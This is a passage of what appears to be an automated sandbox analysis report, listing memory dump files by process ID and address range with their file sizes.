    • memory/2100-191-0x000000006A4B0000-0x000000006AA5B000-memory.dmp

      Filesize

      5.7MB

    • memory/2100-179-0x0000000002520000-0x0000000002560000-memory.dmp

      Filesize

      256KB

    • memory/2124-140-0x00000000729ED000-0x00000000729F8000-memory.dmp

      Filesize

      44KB

    • memory/2124-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2124-1-0x00000000729ED000-0x00000000729F8000-memory.dmp

      Filesize

      44KB

    • memory/2124-60-0x0000000003030000-0x0000000003032000-memory.dmp

      Filesize

      8KB

    • memory/2124-242-0x00000000729ED000-0x00000000729F8000-memory.dmp

      Filesize

      44KB

    • memory/2900-189-0x000000006A4B0000-0x000000006AA5B000-memory.dmp

      Filesize

      5.7MB

    • memory/2900-211-0x000000006A4B0000-0x000000006AA5B000-memory.dmp

      Filesize

      5.7MB

    • memory/2900-195-0x00000000024A0000-0x00000000024E0000-memory.dmp

      Filesize

      256KB

    • memory/2900-190-0x00000000024A0000-0x00000000024E0000-memory.dmp

      Filesize

      256KB

    • memory/2900-187-0x000000006A4B0000-0x000000006AA5B000-memory.dmp

      Filesize

      5.7MB

    • memory/2900-194-0x000000006A4B0000-0x000000006AA5B000-memory.dmp

      Filesize

      5.7MB

    • memory/2900-196-0x00000000024A0000-0x00000000024E0000-memory.dmp

      Filesize

      256KB

    • memory/2900-197-0x00000000024A0000-0x00000000024E0000-memory.dmp

      Filesize

      256KB

    • memory/2900-188-0x00000000024A0000-0x00000000024E0000-memory.dmp

      Filesize

      256KB

    • memory/2900-209-0x0000000001C70000-0x0000000001C79000-memory.dmp

      Filesize

      36KB